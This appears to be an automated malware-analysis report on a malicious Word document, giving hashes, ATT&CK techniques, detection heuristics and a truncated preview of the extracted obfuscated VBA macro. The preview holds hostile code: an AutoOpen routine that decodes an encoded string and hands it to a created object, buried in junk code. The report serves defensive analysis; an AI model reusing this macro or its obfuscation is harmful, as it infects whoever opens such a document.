Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 021765dbaa862136…

MALICIOUS

Office (OLE)

460.0 KB Created: 2018-12-24 03:43:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: d985e9ab7a1bf5b6a3c03efbfd210e32 SHA-1: 723abf80fcc289e8b41f79f002d876a97769bd38 SHA-256: 021765dbaa86213681690f3b10af3fa7f85eeb61bb80bacb7ac698f5e46915a3
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing obfuscated VBA macros. The AutoOpen macro is present and uses the Shell() function, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious stages. The ClamAV heuristic also flags it as a macro-based threat.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 74346 bytes
SHA-256: 8eff7bccecc06c56ff1b0141645e2c32aa808158c3c9058d99bcc2dfb77f2000
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lGXPqdoiMEEYtWtZvoG"
Sub AutoOpen()
Dim UnliFVNywyxYC As String: UnliFVNywyxYC = gZPzYBhuOpJsq("DBYDH05FS0BVWkhZUENBUFFdX0RYAA0MCwEUEkYWFRY=")
Dim PvahkJitZeY, pnFmRvKDghYIbEAbIRm As Integer
For pnFmRvKDghYIbEAbIRm = 0 To 9
PvahkJitZeY = PvahkJitZeY + pnFmRvKDghYIbEAbIRm
Next pnFmRvKDghYIbEAbIRm
mwGRUyNBCkeado.xFXECqEjfaAo (vNlobCwsTfls(UnliFVNywyxYC, "dbwotjdrdlfkdwoghsmswjfjgrpshsmsrnsk@!$(T$@(T$@IG$(@QG)(@$(GjrmEklsrjffmfdhogksmsrjdidwlfkfmefgkrhdlTsptqlkd1532"))
End Sub
Public Function XclYuyAceKdIAekvn(zNRVHKanDRQoGQVngt As String) As Object
Dim RNxgqTlRkVyDuEZgfr As Integer
RNxgqTlRkVyDuEZgfr = 2
Dim QgOyWBhjTwknnszM: QgOyWBhjTwknnszM = Array("IVPiBOVkCdJQrki""DyVySVYkfkuHJsMu")
If RNxgqTlRkVyDuEZgfr < Len(Application.UserName) Then
Dim EGLZKoQIeGTkbpAqxVd, ONLVweyemtJFC As Integer
For ONLVweyemtJFC = 0 To 1
EGLZKoQIeGTkbpAqxVd = EGLZKoQIeGTkbpAqxVd + ONLVweyemtJFC
Next ONLVweyemtJFC
Dim iEKtRCHvgLaI As Variant
End If
Set XclYuyAceKdIAekvn = VBA.CreateObject(zNRVHKanDRQoGQVngt)
End Function
Public Function gZPzYBhuOpJsq(BntkytNXyknr As String, Optional HSYmFNBeXtrfX As Boolean = True) As String
Dim zHUAwBdNqrhbNVRzXf As Integer
zHUAwBdNqrhbNVRzXf = 2 - 1 * 9
Static kHtfMYyAMRu(0 To 255) As Byte
Dim XYoKzvAkxBZODfDfVnQ As Integer
XYoKzvAkxBZODfDfVnQ = 3 - 8 * 3
Dim hMspqLdJNFP() As Byte, WxIBgNTjkGCBxHerF() As Byte
Dim GXwwyGpgIZCrBV: GXwwyGpgIZCrBV = Array("pFssZkwGATFtiiIuQ""EcsGjRDfKlXyu""HknmfPMeUDRXMQPsg""pvZVydkWAOjYijrp""RPvAJFqTeApq""ItvvvgkQmYKXvq""JmQzoKAtZfulIvRfVUR")
Dim fpfyLUsFChop As Long, zwwNcnUysNuDMbby As Long
Dim fzJCTnprzLbokU As Integer
fzJCTnprzLbokU = 9
Dim KIdzatJjzYCDlg As Collection
Set KIdzatJjzYCDlg = New Collection
KIdzatJjzYCDlg.Add "xhhTisCJSziKDWhJlL"
KIdzatJjzYCDlg.Add "cVjlALuWTPWCwU"
KIdzatJjzYCDlg.Add "pODVRdzFCHBfJddr"
KIdzatJjzYCDlg.Add "PAHhAzVejsJPMqmf"
KIdzatJjzYCDlg.Add "qwjdMzBBsutxOMX"
KIdzatJjzYCDlg.Add "WdTkgcKvWuZxJnOVHAj"
KIdzatJjzYCDlg.Add "PNEtDTweXNCMsSWIql"
KIdzatJjzYCDlg.Add "PZGeGeSlKmAxzQrMxLY"
KIdzatJjzYCDlg.Add "FPasQftkmpaPccufuDZ"
If fzJCTnprzLbokU < Len(Application.UserName) Then
Dim KqKFoviZXahEalScOC As Integer
KqKFoviZXahEalScOC = 3
Dim XxgIQyxTTFMFRWo, vAQBrsWQdVYVPYAdw As Integer
For vAQBrsWQdVYVPYAdw = 0 To 9
XxgIQyxTTFMFRWo = XxgIQyxTTFMFRWo + vAQBrsWQdVYVPYAdw
Next vAQBrsWQdVYVPYAdw
If KqKFoviZXahEalScOC < Len(Application.UserName) Then
Dim GxHucbBPZNMrTdRHJ, ylbPigksERmfStEFwLI As Integer
For ylbPigksERmfStEFwLI = 0 To 7
GxHucbBPZNMrTdRHJ = GxHucbBPZNMrTdRHJ + ylbPigksERmfStEFwLI
Next ylbPigksERmfStEFwLI
Dim rTgHVyqvbyPKohMFXcr As Variant
End If
Dim GeNaWsRVGZgJ As Variant
End If
If kHtfMYyAMRu(0) = 0 Then
Dim lGpButTKaeTvLIxH As Integer
lGpButTKaeTvLIxH = 7 * 4
For fpfyLUsFChop = 0 To 255
Dim shzAtGPMHQHOHmwG: shzAtGPMHQHOHmwG = Array("cALqVBoLmIfl""cllqlmLLlWerq""AusIjfWUzXWw""pzzLfqnQneJiYY""brthCGoqlyI""owbcAsZHJdHxtW")
kHtfMYyAMRu(fpfyLUsFChop) = 255
Dim XuvSArbyxgjv As Integer
XuvSArbyxgjv = 2
Dim OEZEAmUJGhVRjWG As Integer
OEZEAmUJGhVRjWG = 5 - 3 * 1
If XuvSArbyxgjv < Len(Application.UserName) Then
Dim fzfRsOHHBBbJgok As Collection
Set fzfRsOHHBBbJgok = New Collection
fzfRsOHHBBbJgok.Add "avjVChSqDrpdMwh"
fzfRsOHHBBbJgok.Add "sMDaqjCpTJMfQXHD"
fzfRsOHHBBbJgok.Add "TLTITcNuOKO"
fzfRsOHHBBbJgok.Add "tLyHeQuVqvRRFJ"
fzfRsOHHBBbJgok.Add "FwlLrcnthKSVYIeksc"
fzfRsOHHBBbJgok.Add "WyiTYALOqpH"
fzfRsOHHBBbJgok.Add "ygRjJJqmQWjQTlfCZD"
fzfRsOHHBBbJgok.Add "xGhWukDOYRQjPqUbZTY"
Dim PdFNJrTBJmBBSnMJ As Variant
End If
Next fpfyLUsFChop
For fpfyLUsFChop = 0 To 25
Dim CKYndmBOitpQYGzKBJ, mPCfInkMElZtH As Integer
For mPCfInkMElZtH = 0 To 6
CKYndmBOitpQYGzKBJ = CKYndmBOitpQYGzKBJ + mPCfInkMElZtH
Next mPCfInkMElZtH
kHtfMYyAMRu(fpfyLUsFChop + 65) = fpfyLUsFChop
Dim oTE
... (truncated)

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